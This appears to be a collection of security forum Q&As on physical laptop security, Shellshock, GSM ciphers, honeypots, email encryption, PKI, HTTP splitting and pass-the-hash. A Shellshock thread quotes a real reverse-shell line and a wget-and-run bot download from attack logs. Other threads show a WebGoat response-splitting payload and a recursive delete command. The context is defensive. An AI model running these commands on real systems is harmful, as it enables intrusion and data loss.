Is a BIOS password enough to prevent someone from hacking into my laptop if they have physical access? Would my laptop be secure against physical access if I set up a bios password and full disk encryption ?
If not then is there any way to secure your laptop from someone with physical access?
How hard would it be to hack into such a laptop? How long would it take? What methods would be used? Does it matter if the hacker is on his own or if it is a government agency?

As far as I know, BIOS passwords are not secure in some cases (or most cases) because on some devices (or most devices?) they can be reset if you have physical access, by removing an internal battery, or tampering with the hardware in other ways (jumpers, replacing the firmware, etc.). For some devices if might be easier (for example for desktop computers that are easier to disassemble), for other devices it might be harder, but in the end if the attacker is skilled enough you are probably screwed.
FDE (Full Disk Encryption) protects you from threats where your data is stolen at rest, that is, for example, if you laptop is just stolen while it's turned off. It's not meant to protect you in other cases, and definitely not if the attacker has physical access.
With physical access, an attacker can try a lot of tricks, depending on their expertise and resources, and depending on what kind of physical access they have: if fully unrestricted (access at any time, for long periods of time) or somewhat restricted (access possible only at a specific time, or for short periods). There is definitely a lot of difference between a single hacker and an organized hacking group, or a government agency: the difference lies in their resources and expertise. Your geek friend might be willing to invest at most $100 to hack you, while a government agency will have no problems investing several thousands of dollars.
There are several tricks that might be used to hack your laptop. From flashing the firmware and replacing it with an infected one, to adding a hardware keylogger anywhere inside the machine (or even outside if it can be hidden). An interesting trick involves replacing your laptop with an identical copy that will transmit your keystrokes in real time. You will turn it on thinking it's your laptop, type your passwords that will be sent in real time to the attacker, and by the time you realize that it's fake you are already screwed.
How do you protect from physical attacks? Of course with physical security controls. In other words, you need to prevent attackers to be able to get near your machine. Some typical examples: alarm bells, gates and fences, locks, armed guards. Remember that not all security controls are worth being implemented, because they always depend on your specific threat model. I just lock my door and that's it, for example, but I'm not a wanted criminal that fears government agencies. If I was, I would probably hire an armed guard.


What does this attempted Shellshock exploit do, and has my website been compromised? I grepped my Apache's access.log today for the now infamous () { string, and besides a bunch of what seemed like pings to check how many servers are vulnerable, I found this attempt, which looked like a genuine attack:

94.23.193.131 - - [26/Sep/2014:05:48:53 +0200] "GET / HTTP/1.0" 200 29271 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

What I did next was to see what that TCP connection did; I cat-ed the result of it:

user@localhost:~# cat < /dev/tcp/195.225.34.101/3333
cat < /dev/tcp/195.225.34.101/3333
wget -O /tmp/.lCE-unix http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38 443;rm -rf /tmp/.lCE-unix;uptime

If I'm reading it right, it wgets a Perl script hosted at http://202.137.176.146/icons/xt.dat (Copy of the script on Pastebin), outputs it to /tmp/.lCE-unix, executes it, then removes itself again.

Looking at the script itself, what I think I'm seeing is that it attempts to connect to an IRC server at IP 81.18.135.38, port 443, using a connection password 45QOhktzhwR4Ai, user 'opus', then tries to join channel '##n3' (if I'm right).

I'll admit I just wanted to share this somewhere. Actual questions though:

The attack was handled by Apache, which probably forwarded the request to Wordpress hosted at /, a 3.x version. I don't think it was ever executed by Bash, but can anyone confirm this?
How can I check whether the attack was successful? I've run commands like netstat and lsof but couldn't find any out of the ordinary connections besides my own SSH session, the webserver, etc. No connections to any of the given IP addresses, no Perl processes running.
Is this a known exploit? I couldn't find much in a search, although there's a thread on the Redhat mailing list from 2005 that seems to reference to the file.
Should I report some of those IP addresses to the authorities? And if so, which? I can imagine the FBI and who not would like to take down the C&C server being referred to.

If you use the apache php module or fastcgi and not CGI, the parameter would never get to bash. Even if you used CGI, it would only get to bash if Wordpress somehow used called a bash script during its execution (someone more knowledgeable in Wordpress could tell the probability of that happening).
You could monitor for suspicious network connections with lsof and netstat, but if the attacker dropped a rootkit, it could hide from those tools. You could check your system by taking it offline, booting from a different medium and do some integrity checking (debsums, rkhunter, etc.). To install a rootkit, the attacker would need a local root exploit as well, as this attack would only gain a shell for the webserver's user.
Sorry, I don't know that, but taking controls from IRC is pretty common for bots AFAIK, so in the general sense it seems a pretty common attack applied using shellshock.
You could, and it may be useful even if the attacker is a bot itself (this is probable). If it is a TOR exit node, however, then the IP address does not carry any useful info.


How long should an e-mail address confirmation link last and why must it expire at all? After a user registers an e-mail is sent to them with a link they must click on to activate the account. I know other sites have a limit on the amount of time the user has to click the link, else the link expires. Come to think of it why is this necessary? Is it to prevent an attacker from creating accounts to which he does not own the registered e-mail because he could generate an arbitrarily large amount of accounts and have unlimited time to guess activation links to them?

If it is necessary, how long should the user have to click on the link?

Most websites allow an e-mail address to be used only for one account which makes sense because most of the time, users only need one account. Therefore, a unique e-mail address is required.

That being said, once the user has registered but only needs to confirm his e-mail address, you want to insert in the database the e-mail address of the user to not allow someone else or the very same person to register again. If you do not handle e-mail confirmation expiration, someone could register with someone else's e-mail address and never confirm it which would lock the e-mail of the legitimate user if he ever wants to register to your website.

If the user hasn't confirmed his e-mail address in the given length of time, you want to make it available again, in case it wasn't really his address or if he wants to register again later on. Consider the case where a user entered the wrong e-mail address by a mistake.

Now for the right length of time, I'd say that it depends on the type of website it is. I don't see the point of allowing more than a few hours because the user should be able to quickly access his e-mail address if he was able to register to your website. Consider the case where a user forgot his e-mail address password and can't access it. He might need to go through some steps to get his password back which could take a while. However, would it really do harm if he has to register again? Once again, it depends on the website.


Why does not GSM use any stream cipher mode (OFB, CFB)? If I understand correctly GSM uses A5/1 stream cipher. My question is why doesn't it use a stream cipher mode like OFB or CFB?

Actually, GSM uses "A5", which is not one algorithm, but several. The initial GSM standard dates from the late 1980s, and had to work on hardware available at that time. A mobile device using what was considered the standard secure block cipher algorithm at that time (3DES) would have been too bulky and drawn too much power to be considered "mobile", even in the eighties.

So custom algorithms were designed. The A5 family contained three algorithms:

A5/0, which is "no encryption at all".
A5/1, the "strong" algorithm for well-behaved countries.
A5/2, the "weak" algorithm for other countries.

The distinction between A5/1 and A5/2 makes sense only if envisioning to eavesdrop on phone calls. However, A5/1 was supposed to be strong (presumably, in lawful countries, eavesdropping is done by law enforcement agencies through official judiciary channels, and thus can be done on the network provider side, without needing to break through the on-the-air encryption system).

A5/1 and A5/2 use just a few LFSR; they are remarkably power-efficient. An A5/1 core can use less than 600 transistors, while a 3DES inefficient core (one round, with a loop counter, no pipeline) would need 5 to 10 times as much; and AES even more (AES was invented ten years later anyway). A5/1 still offers an extremely high security-to-power ratio.

Unfortunately, A5/1 was designed with too small an inner state, reflecting the traditions of the industry at that time (in particular the tradition of not allowing academics to come too near of practical applications, lest they break something through their quaint disregard for the mundane world). The A5/1 structure (three LFSR with the special clocking rule using the middle bits) offers, for a total internal state of n bits, a security level of about 22n/3 (see section 3 of this article). This means that the 64-bit space of A5/1 brings security to be about the same as a 42-bit block cipher, i.e. not a lot... and quite a few researchers have describes "breaks" which apply various precomputed table methods to this 42-bit strength problem.

A "boosted A5/1", with the same structure but three times larger (three LFSR of total size 192 bits or so) would still be impeccably secure nowadays, and more power-efficient than any more classical alternative.

Technology improved, and modern mobile phones are now computers, with CPU which are perfectly able to encrypt and decrypt data at full network bandwidth, with more usual algorithms. Therefore, for 3G, the A5 family was adjoined a fourth member, called "A5/3": this is the block cipher KASUMI turned into a stream cipher by being used in OFB mode. KASUMI is still "optimized for hardware" (its S-boxes are derived from relatively simple boolean expressions) but much closer to what is done in software-oriented block ciphers.

Summary: GSM did not use a block cipher in CTR or OFB mode mainly because of limitations of the available hardware at that time (25 years ago). And nowadays, it does use a block cipher in OFB mode.


How to ensure that a program is implemented as per your recommendation? I have an security protocol whose implementation will be done by many third parties developers (lets call them as 'manufacturers') which in turn will be programmed in the embedded hardware designed by them.
There are some mandatory guidelines (e.g. a particular cryptographic operation must be carried out using cryptoprocesor but not using software library) which must be followed by them.

Now is there any way to check whether they have followed all guidelines of the protocol and certify their implementation if you have access to source and binary file of the implementation?

How can I ensure that the manufacturer has programmed only the certified implementation in all the hardware samples?

Edit 1:
As per my knowledge, a solution for the certification: The source code can be manually inspected to crosscheck compliance with each recommendation. Then the source code as well as binary obtained from it can be certified using the signature of certifying authority on the checksum of both files.
Correct me if there is any loophole in this certification process which can be exploited by a manufacturer.

Now if binary of the implemented protocol is programmed separately, we can check file-system and locate this binary, calculate its checksum and verify it against the certified binary. But if protocol is implemented inside another application, then we can't have have this certification, instead the final application which includes protocol implementation has to be certified. But this may complicate the certification process.

There is no cryptographic answer to your question, because by Rice's theorem we know that any non-trivial, semantic property of any program is undecidable. You can't write a program that is able to decide if two programs are functionally equivalent or follow any of your guidelines.

What you actually need is some kind of certification process, e.g. Common Criteria. In CC there are different Evaluation Assurance Levels, and you have to find which one fits your kind of software best. The entire certification process is a huge tradeoff between assurance, effort for design and effort for testing / verification.


How to set up a network for a honeypot? This is a follow up for How to set up a Virtual Machine for a Honeypot?.

After setting up your Virtual Machine. You need to make sure that your network is properly configured so you don't end up infecting your entire network! So this is a rather important part of the process when setting up a honeypot.

What are some of the things that need to be considered when setting up the network?
Does it need to be a DMZ?
If my hardware doesn't support advanced configurations, Can I still setup a honey pot?
Do my other computers on the network need to have special network configs?

How do I properly setup my network for a honeypot?

Your honey pot will be taken over by the attacker; that's the point. So anything that can be done from that machine will be power granted to the attacker. Therefore, you should configure things such that the attacker does not gain any new power that way. This means the following:

All other machines in your network MUST consider the honey pot as hostile (after all, it is the attacker's machine -- or will be at some point).
Beware of IPv6 ! Many operating systems enable some link-level IPv6 networking by default, and that could be used by the attacker. Better place your honey pot in a subnetwork of its own (your VM should be able to do that).
You should endeavour to block outgoing traffic from the honey pot. Otherwise, the attacker may use it as a relay to start attacking other, external systems, and that second attack will seem to be coming from your network. At best, you may be able to prove that you were just an innocent victim, but one could claim that by setting a weak machine which could be use as a relay, you just became an accomplice. You should block outgoing TCP connections, and for UDP packets, only allow DNS request to a specific server (e.g. Google's 8.8.8.8).

If your VM technology is VirtualBox, see the manual. You will probably want to use host-only networking and setup firewall rules on the new loopback interface that VirtualBox will add to the host.

One can guess that I am not a huge fan of the honey pot concept. It is somewhat fun, and a good research tool when studying attackers' behaviour, but it is also risky, both technically and legally.


Are malicious scripts in batch files detected by antiviruses? We have many scripts in shared folders in our IT Department. Are malicious scripts in batch files detected by antiviruses?

It depends what's in it. If it finds del /F /S /Q C:\* inside a Windows batch file, sure, some AVs might flag it up as suspicious. If it's a byte-for-byte copy of a known malicious script, sure, some AVs might catch it.

In general, batch scripts are too variable in order to write a working malicious script detector that catches new or "custom" malware scripts. You're likely to see the AV catching anything particularly prolific, but almost certainly not anything new or custom.

Don't rely on your AV for protection, even if the sales guy told you it's the best protection money can buy. It's a last line of defence at best, and is usually only good for saving you time by preventing the most basic attacks, giving you the ability to prioritise your resources into dealing with the more targeted attacks.


Securing the hardware of my computer against remote exploits How can I secure the BIOS, video card, network card, PCI, etc. of the computer against remote exploit? I have heard that it is possible to remotely exploit a computer using vulnerabilities in these hardware devices, and that a compromise that occurs in this way may be hard to detect or remove.

So, how can I protect the hardware of my computer against remote exploits when connected to the Internet?

There have been vulnerabilities caused in how the operating system uses hardware.  For instance there have been vulnerabilities in systems using Intel processors,  although this vulnerability was fixed in the operating system,  just about every OS had to be fixed.

Drivers are usually the culprit.  Recently there was a privilege escalation vulnerability with nvidia's Linux driver.

There have also been vulnerabilities in wireless devices.  The most famous being the OSX Remote Code Execution vulnerability using malformed 802.11 frames.

Vulnerabilities in drivers are absolutely no different any other vulnerability (other than the fact that they are very uncommon and the payload usually runs in kernel-land).  To defend your self,  make sure your system is updated regularly.  Disable hardware that you are not using, (Like NFC on your phone!)


Securing access to information stored on a home based Nextcloud server acessed via self-signed SSL certificate and home vpn I am configuring a private cloud at home using nextcloud on a linux machine. It is running an apache webserver over an https connection (let's encrypt self-signed certificate) and a VPN server (wireguard).
The goal is to access, on the move, to information stored on nextcloud's webdav server (it can be personal photos, personal bank reports or finances, contracts, etc) and I would like to fully understand the risks of this approach, namely, the risk of that information being exposed on the internet to others (being hacker or my ISP, if I'm feeling that paranoid).

An example use case: I connect my phone to my VPN server located at home, access my nextcloud webdav server and download + upload several documents.

In this scenario: who or what can see what I am doing, or what kind of documents I am working on? Is it possible for a hacker to get hands on the information? Or my ISP to "see" that I am sending or receiving documents of a specific kind, and their filenames and/or content?

To take apart your setup, using TLS alone provides complete confidentiality for application-layer content. Wireguard provides confidentially for all of your traffic that is sent through it.

Your question doesn't specify whether NextCloud is only accessible over the VPN. If so, the main advantage of this is that the VPN acts as another level of access control to the NextCloud service, but doesn't really provide additional confidentiality since TLS is already used.

The main threat would be that your phone (or another device you access NextCloud from) is compromised, at which point an adversary could potentially see everything you see on NextCloud. But this is fairly unlikely. Or, there could be a critical vulnerability in Wireguard that is not publicly known, or you haven't patched it. But this is also fairly unlikely.


Changing cipher list of a ctx object after connection establishment Does changing the cipher list for a CTX object (using SSL_CTX_set_cipher_list), have any effect on the already established connections (connections that had used that very CTX object)?

Changing the SSL context does not affect the current SSL session which was created using the context object. The cipher for the session gets set during the TLS handshake and is valid until the end of the TLS session.


What is the corrupted image vulnerability? How does it work? What exactly happens when someone injects malicious binary code into an image file (on Windows)? How is that done?

Such an attack relies on the image parser containing a bug that allows the execution of what would otherwise be a slightly wacky picture.

For example, instead of "red" being interpreted as a color, the computer may try to interpret it as a shell command.


Can I expect my e-mail to be routed securely? If I connect to my e-mail server via SSL (SMTP/SSL) and the recipient also only checks his e-mail via SSL (web/https or IMAP/SSL), does this - generally speaking - increase the security for the message content in any way?

That is, will the communication between my providers e-mail server and the recipients e-mail server be "secure"(*), or will the e-mail be delivered plain text between the servers?

(*) Secure in the context of: encrypted throughout it's transit. Not secure in the sense that I'd put any really sensitive info in there.

The SMTP servers may (probably will) still transfer the email as plain text. Sometimes SSL is used, but you cannot count on this being the case unless you specifically know the configuration of the specific servers on both ends. This means that in your scenario, an adversary capable of monitoring Internet backbone traffic could intercept the email. (Generally adversaries with this level of capability are state actors.)

SSL is still important on both ends to protect account credentials, and it will protect you against adversaries monitoring the traffic on your local network. Many attacks are going to be at this level - someone on the same wireless network as you, for instance, or who has compromised a local server on your LAN. However, SSL will do nothing to protect you against a compromised SMTP server. Message-level encryption is required if you want to avoid any transmission of the message in plaintext, and importantly means that the message will not be stored in plaintext on either server. For non-state adversaries this is the biggest attack vector - just compromise the SMTP server on either end and you can read all the plaintext mail even if every transmission along the way used SSL.

S/MIME and PGP (GnuPG) are the two standards for doing this. Even then, the message envelope will be visible. You cannot prevent an adversary who can sniff the traffic between the SMTP servers from reading the envelope, so they would know things such as the to, from, and subject line.

To directly answer your question, both parties using SSL to send and retrieve their email does improve your security - and it improves your security versus non-state adversaries a lot - but to secure the message content as much as possible you should use message-level encryption to fully encrypt the message body, and accept that the email headers will still be transmitted in the clear. An adversary capable of seeing the traffic between the SMTP servers would still be able to tell who you were emailing and what the subject line was - there's no way around that besides "don't use email" - but they would not be able to read the body of the message.


Hierarchical PKI trust model Suppose we have the hierarchical trust model as seen below.

Alice will trust Doris' public key iff there is a Certifcation Path from her to Doris. Alice thus pocesses a valid certificate of A.

Does Alice need to have a certificate of D, B and C as well? What happens if Alice explicitly does not trust C. Will she trust Doris, because Doris is indirectly certified by A?

Thanks

The whole idea that there needs to be a path from Alice to Doris is incorrect. There just needs to be a valid certificate chain from Doris to a trusted certificate in the trust store of Alice. And Doris - of course - needs to prove that she has the private key that belongs to the certificate of Doris herself.

So all Alice requires is a trusted certificate A or C. She needs to retrieve all intermediate certificates if she doesn't have a full chain (if she just has A she needs to retrieve C - usually it is send to Alice by Doris). She needs to be able to verify the signature for the certificates and the validity of the certificates in the chain. The validation procedure may check key usage, key extensions, validity period and of course certificate status/revocation etc. The chain may also consist of just the certificate of Doris if that is trusted directly (certificate pinning).

Finally the signature of the private key needs to be verified using the public key of Doris certificate. Or the private key may be need to be used to decrypt a challenge or session key.

Alice doesn't even need a certificate / private key herself. Currently my browser doesn't have my certificate either. Only those entities that are required to authenticate themselves have to have a private key and corresponding certificate.


What is happening to second response in HTTP Splitting? Doing the webgoat HTTP splitting exercise. I feel like I'm doing something wrong or there is something that I don't understand.
The idea is that since we can control the referer parameter, we can split the request into 2 and have the server sends us another response (This could later on be used to trick victims into caching our 2nd response with the expires parameter).
The thing is: I am not seeing anything. On the browser or on Burp suite.
I am trying the following payload (By intercepting the POST request after clicking "Search!" and replacing the sent string inside the html form box with the following):
test%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length:%2017%0a<html>pwnd</html>

On Burpsuite I see the 302 and the following 200 with the payload appearing at the end of the path and that's it. Supposedly based on what I am reading on the solution tab, I should be redirected to a site with the html I injected.
Any idea what I might be doing wrong or what's happening?

HTTP plitting is not the simplier attack.
The target is not your browser, sometimes you could use CRLR injection to target the browser (like injection of Location: header) but really the whole domain of HTTP smuggling is not about targeting the attacker browser.
When a single HTTP request generates 2 or more HTTP responses and the communication occurs just between you (your browser) and the server nothing happens. The extra responses are just discarded.
Things are different when there are other actors between the attacker and the server. Think Load balancers, SSL/TLS terminators, Reverse Proxy caches. they became the target of the attack.
They saw 1 request incoming and they received several responses. Several things could happen:

they store the responses for next requests (socket poisoning), request that could come from different users
you did not just send 1 request, but a pipeline of 2 request (see HTTP Pipelining), then the splitting will mix the results of your 1st bad request with the second one (cache poisoning)
also with a pipeline of 2 requests, the 2nd response is incomplete (the one you injected), the intermediary waits from more content from the backend before delivering it to you, if resuing the same tcp/ip connexion for intermediary->server another user legitimate response could be appended tou your incomplete response and you could receive it.

That's examples, but as you can see this is something quite complex and should maybe not have been added to webgoat examples (they are a lot of athoer attacks easier to understand and exploit) :-).


unix config scanner / compliance checks I'm looking for a tool, that scans unix operating systems for configuration issues. E.g. a script that finds

PermitRootLogin yes

in the ssh config file or with other words: a script that automates compliance checks. Since there are quite a few configuration files with security relevant configurations, that lie in all sorts of different places already differing from linux distribution to linux distribution, I'd rather check if that exists before I start writing my own script. :)

What I was able to find so far is:

Vulnerability scanner Nessus supports UNIX Configuration Auditing. As far as I could see, it reads only the list of installed packets and then checks if there are vulnerabilities in those
eEye has a tool called Retina of which I'm not sure, if it's for windows only, and what it checks exactly.
BastilleLinux, BastilleMac, which tests and hardens. It is still shiped with current Ubuntu version, and it says on their website, that they'll be restarting development, I can't see any updates.

Do you know of a tool (preferably OpenSource so I can edit/contribute), that might match better?

You might want to look at Nessus Compliance checks.  They provide an interface which allows you to check files for specific items and settings.

Also there a quite a few pre-defined templates available through the support portal which cover a wide range of unix/linux flavours, and checks against the Center for Internet Security standards amongst others


Can the data transfered from a PC to Dropbox or a USB drive be logged and detected? I have some problems with my manager and am in process of using a lawyer to litigate with regards to workplace harassment. The litigation is planned to be "soft" and my lawyer only plans to send the employer an email saying that he has heard cases of workplace hostility from me according to which I am seeking a constructive dismissal and claiming a reasonable severance. I am concerned that the employer might react aggressively and retaliates by looking at the logs of my computer to see if it can accuse me of theft.

I have transferred some of the files which I was working on (non are highly top secret - I am a designer) plus some personal files such a benefit claims and bank statements and pictures to Dropbox and a usb drive. I have deleted all my web browsing history. I have taken the files only to make my portfolio for future job searches, I had already discussed with my manager about how I can show case my work for future employers.

Can they track if data was uploaded to drop box? Can they detect what data?
Same question for USB key, I already know they can track the USB, but can they detect what files exactly, in other words can they accuse me for taking my music files?

If you are using a computer provided by, controlled by or just even accessed by your employer (as almost everybody does at work), then the answer is yes, your employer could potentially log what you are doing.

When they have full control over your computer there is no limit to what they could log - screenshots, keystrokes, network traffic, etc, etc - and there is no reasonable way for you to find out.

However, if you are not working with something sensitive surrounded by high security, it might be unlikely that your employer has gone through the effort to log these things. What they are most likely to have is perhaps logs of your network traffic, e.g. your HTTP requests (but probably not bodys since they take a lot of space). In these filenames of files uploaded to dropbox might be found. (And yes, even if you used HTTPS your employer could get around that with an installed root certificate.)

So the answer is possibly, but you can not know for sure.


Evaluating security controls of smaller vendors In the IT Security team where I work, we currently use the Standarized Information Gathering or SIG tool to evaluate IT security posture of prospective 3rd party vendors. What I like about the SIG is the questions are standarized and depending on responses, only relevant follow up questions are asked.

At very small vendors though that may not have a dedicated IT or IT security function, a lot of the SIG questions may not apply. Currently, we are evaluating a smaller vendor providing a niche service and we are not comfortable with giving due diligence sign off due to the very limited responses provided on SIG questionnaire completed by such vendor. A lot of the controls and best practices on the SIG simply are not applicable due to vendor size. Furthermore, vendor will have remote access to our company infrastructure.

Question: what alternative approaches are viable for risk assessment of very small vendors in which market size is also small and competitors are of approximately same size,  so switching vendors is not feasible?

I have used different approaches (and sometimes combined them) in my work based upon what it is from the vendor that my company is consuming. We have small vendors that provide us with SaaS services which they leverage AWS to host, or it could be that they are proviing services (where we give them data and they perform either analysis or other services), or they could be staff augmentation, etc.

For each type of engagement:

I outlined 10 areas (loosely aligned with NIST 800-171) where we would have Risk and some standard questions for the provider to answer that allowed us to assess risk.
If the provider is themselves using a third party to host their services or similar, I ask for SOC 1 reports from them.
In the contract for service, I have worked with procurement team to ensure that we put in the ability to audit and validate the existence of controls as indicated in the Questionnaire
I ensure that there is an addendum that provides for incident reporting from the vendor to us in a prompt manner.

Quite frankly, small shops that cannot do the basic security due diligence for contracts should not be providing you services. Depending upon your area of business, you are putting yourself at a huge level of risk if the vendor is unprepared for security issues. At the very least, GDPR's requirements and the fines that the EU has levied should remind you to not take this lightly.


How should I detect and respond to bad actors who perform SQL injections? SQL Azure has a logic component called Threat Detection.  I assume it looks for SQL Injection, but also evidence of dangerous commands like sp_exec.

I would like to expand that scope, and also inspect the following aspects of user traffic for SQL injection, and and other hacking-types of behavior...

HTTP GET/POST (or other verbs)
Client headers (that would show up in log management solutions)
Cookies not sent by my site

Assuming that something above triggers an alert, what is the most appropriate response:

Block the IP adress
Reauthenticate the user
Lock out the account
Flag the session?

What class of security tools would be appropriate for this type of activity (in the cloud), and where can I learn more about intelligent ways of handling the different responses/mitigation techniques?

The right way to act is to reject the request (fail request before starting any application code / SQL queries) and log the event with complete debugging information into the database, assign number to it and output the number to screen.

This should be not the same database as the operational one, it should be service database where you normally store logs of operations.

If it's API call, then make this number appear in the error message box.
This is to deal with false positives for once, and secondly to deal with the successful attempts of injections.

However you cannot prevent "select 1;" arguments from being passed every time  because it's always possible to pass "select 1;" somewhere and such request should be blocked before reaching the application code.
Also, this is best implemented on dedicated "layer" where request is decoded and checked for this kind of stuff like mod_security does.

There's no way to block the user and log him out because there will be far too big impact, it's also on the wrong layer - it's application code layer and not the dedicated security layer.


Most secure algorithms for KDF and Public Key Encryption I'm developing an application which will need to derive a private/public key pair from a user provided password, and then use the public key to encrypt some text (up to 1000 characters in length) such that it can only be decrypted by the paired private key. The password and private key will not be stored anywhere, so that nobody with access to the database can decrypt the text without the users' password. I know that I will need to use a KDF algorithm to generate the key, and some sort of public key encryption algorithm to encrypt/decrypt.

I know that there are several secure algorithms, but also several algorithms which are considered cracked and insecure. What are the most secure algorithms I can use for the KDF and encryption? What best practices should I follow to ensure that the data is as secure as possible?

I will be using the Java standard library implementations of the cryptographic algorithms.

Personally, as public key cryptography goes, I think RSA should be used. There are multiple reasons for this:

RSA has been proved secure by many people
RSA is widely used and implemented, therefore info is widespread
RSA is theoretically quantum proof, provided you use a large enough key
RSA keys can be multiple sizes

You could use Elliptic curve cryptography if you wanted though.

KDF's

As KDF's are concerned, PBKDF2HMAC is the most used standard. Argon2, Scrypt and AES-KDF are also widely used though.

Currently all of my apps use PBKDF2HMAC, but I am migrating to Scrypt because it is more secure.


Using Two-Factor Authentication to Stop Pass-the-Hash Am looking into mitigations to Pass+the-Hash and Pass-the-Ticket in Active Directory that also improve overall network security, too. Have sorting through some of the many two+factor authentication options to increase security of user login, but just discovered that under the standard AD way of doing things two-factor authentication is still using Kerberos or NTLM. So pass-the-hash or pass-the-ticket attacks are still effective against the domain. The stuff I've read seems to say that only "interactive" logins are not vulnerable to this.

How can I adopt two-factor authentication for AD user logins in ways that won't just be as vulnerable to pass-the-hash/ticket as passwords are? To the extent it matters, I'm referring to environments using Windows Server 2008 R2 and Server 2012.

Matt Weeks, in his Credential Assessment Mapping Privilege Escalation at Scale talk, discusses many techniques to prevent PtH, PtT, and PtK (OPtH).

Starting at 41:50 and up until 48:52, he goes over many prevention angles and gotchas -- https://youtu.be/_XXs8pRnqSQ?t=41m50s

My favorite recommendations are the rotation of KRBTGT weekly, and, if you can utilize smart cards then rotate the user hashes daily. He also speaks about a generic PtH control with blocking inbound NTLM to the domain.

The DFIR Blog has an excellent three-part series on many other detections and mitigations --

http://dfir-blog.com/2015/11/08/protecting-windows-networks-defeating-pass-the-hash/
http://dfir-blog.com/2015/11/24/protecting-windows-networks-dealing-with-credential-theft/
http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

As for two-factor authentication and one-time password schemes, I don't think that FIDO (e.g., YubiKey) or a competing system would deter any of the above suggestions -- it would just add to their control strength and provide operational residual risk reduction.


BurpSuite Brute Force Iteration I am working on a security assessment for an online application. When testing the pin verification mechanism and possibilities of brute force, I came across a post request that looks like the below

POST /verify HTTP/1.1
Host:
Origin:
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Cache-Control: no-cache

pin_1=1&pin_2=2&pin_3=3&pin_4=4

I want to run Burp Intruder to test all values for the 4 different pin digits.

 pin_1=0&pin_2=0&pin_3=0&pin_4=1 0001
 pin_1=0&pin_2=0&pin_3=0&pin_4=2 0002
 pin_1=0&pin_2=0&pin_3=0&pin_4=3 0003
 pin_1=0&pin_2=0&pin_3=0&pin_4=4 0004 etc...

Is there a way to do that with Burp Intruder?

Yes. Burp can do that. Here is a good overview about the different attack types of Burp Intruder.

What you are looking for is the "Cluster Bomb" Type with each of the four payload set to numbers from 0 to 9.


Profiling attackers via adaptive games: "Strange game, the only winning move is not to play" Use of Game Design to Profile Attackers:

Interested in any research that links concepts in game design to security systems in an effort to profile the attacker's identity, motives, skills, etc.; if none exist, willing to except research within the field of game design itself.

UPDATE: Here's an example of what I mean. A honeypot is designed in a way so that it adapts to the attacker as the attacker explores the system in a way that each adaption is an effort to learn more about the attacker, and differentiate them from other attackers. For example, as a very poor example, in the ghost system, there are two nodes: the "insecure" computer and the "secure" one. For each connection from a new IP, the "insecure" computer gets a set of usernames/passwords generated and left as a file in the system; these passwords are for the secure computer. Which oddly, in effect gives the attacker a username and password only they know. After the attacker accesses the "secure" computer, if they create a backdoor, the password they were given is changed. Emails addresses within the system are generated per attacker, and those email accounts are watched for exploit attempts.

Idea is to profile the attacker's identity, motives, skills, etc. in a way that adapts to the attackers and pulls them in further, so more, and more information on them is extracted.

IMAGE-SOURCE: WarGames, 1983

Check out "Gamification" of Information Security: Applying Social Game Design Concepts to Information Security | Skype Education.  The goal is different, but some of the analysis and techniques are relevant.


How Should a Midsized Startup Approach Information Security and Compliance? The situation:
An established SaaS startup with <100 employees, a large development team and several self taught networks engineers. Our business involves handling both PII and payment data.

As we've grown and given the increasing focus on infosec we've been receiving more customer demands for ISO and NIST compliance, SOC 2 reports and the looming threat of PCI.

At this point our infrastructure is reasonably secure but policies and procedures are very green and most put in place adhoc to satisfy a customer demand.

My question is: How should a company approach developing a more mature security compliance program and what costs are reasonable for a business this size to spend?

Most consultants recommend starting with a security risk assessment, then gap analysis then consultation as needed to develop policy until compliant.

Lawyers recommend working directly with a firm for everything. At this size should a company begin to think about hiring a dedicated security compliance specialist at upwards of $120k per year? Or is it just a matter of telling the network engineers to drop their projects and start boning up on ISO and NIST for the next several months?

TLDR: What is a sensible approach to start building a mature security compliance program for a small to mid sized company? Are consultants a must or does it just require elbow grease? Where does money need to be spent, where is it a good idea to spend and what is a waste?

First, if you are not PCI-DSS compliant and you are processing payment information, drop everything and address this first. If you address this in a robust way, then you can leverage the compliance activities to build a larger information security infrastructure for your organisation. This is your first gap!

I have been where you are.

Although a Risk Assessment is normally where organisations should start (and you should do one!), my guess is that it will only be a distraction for you at your stage of development. You have a more immediate task at hand.

You should not be seeing PCI-DSS as a threat but an opportunity to embrace. You need to embrace PCI-DSS and (SOC 2) as a tool to define what you should be doing and the infrastructure you need to be compliant. Do not "skimp" on this step, but take it on as a regulatory requirement to meet head-on and to fully satisfy.

This activity exists apart from risk as something that "just needs to get done". Focusing on this at the start removes the debates and the political tensions. Both PCI-DSS and SOC 2 require external auditors and expert guidance. Spend your time and money on these things, to start.

It would be even better (for secure processes and risk) if you used the ISO 27001 and/or NIST frameworks to design an approach first for which the PCI-DSS and SOC 2 can have a place, but this is simply not efficient for small companies, and not where the immediate value can be found. If you can do the first steps well and gain success and value, you will have an easier time getting the bigger stuff done.

I'm a fan of "Agile" security: get your entire needs mapped out as you understand them right now, but tackle the critical areas first (in the light of the coming needs). For you, you have technical security issues to address first (PCI-DSS). Design the approaches to address those needs in the light of a larger framework, but address those needs first! Then build iteratively from there.


Obtain credentials by spoofing WPA/WPA2 Enterprise network? I have a large scale wireless network secured using WPA/WPA2 Enterprise authentication. Recently, I was made aware of the possibility that someone may use a dd-wrt router and a computer to spoof the wireless network and grab usernames and passwords as devices attempt to connect to it.

To test this theory, I succeeded in spoofing the SSID and authentication method. I set up a local RADIUS sever and could see my device (which remembered my credentials) trying to connect to it. However, I did not see my password anywhere in the RADIUS server logs (but then again, logs might not contain such information, even in debugging mode), or using Wireshark placed between the Wireless AP and the RADIUS server.

Is there any way to capture my password from a connection attempt, or does that require information only the actual RADIUS server will have? (My device has authenticated with the actual network before)

And are there any steps I (not the network admin) can take on my clients that will ensure they do not attempt to connect to similar rogue APs?

This is one small part of a much larger answer to this question.....

